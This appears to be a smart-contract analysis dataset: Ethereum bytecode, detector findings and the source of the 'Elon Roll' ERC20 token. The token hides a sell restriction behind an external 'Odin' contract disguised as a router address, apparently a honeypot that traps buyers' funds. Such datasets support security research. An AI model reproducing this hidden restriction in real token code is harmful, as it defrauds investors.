0565b6131bc91905b808211156129c0578054600160a060020a031916815560010161319e565b90565b6131bc91905b808211156129c057600081556001016131c55600a165627a7a72305820a649b7332894baaaff3292dc14e3cf8fab0633d6528ded670166199e5ece3d930029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,836
0x2c22Ec785cD1397C789D811d634B159784172Aa4
/** *Submitted for verification at Etherscan.io on 2021-11-08 */ //SPDX-License-Identifier: MIT // Telegram: https://t.me/ElonRollToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Elon Roll"; string constant TOKEN_SYMBOL="ELONROLL"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonRoll is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600981526020017f456c6f6e20526f6c6c0000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f454c4f4e524f4c4c000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600a60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600a60159054906101000a900460ff161580156112b15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600a60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600654821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060065490506000662386f26fc10000905061194b662386f26fc1000060065461170490919063ffffffff16565b82101561196857600654662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600654611a3e90919063ffffffff16565b600681905550611bd381600754611a8890919063ffffffff16565b6007819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013741269b03b2894583421b096fbcaf8bc6bb266ac6c16aa5f96680ece74496f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,837
0x52c09ea7b04fb680b2dac86612c8a396f665004c
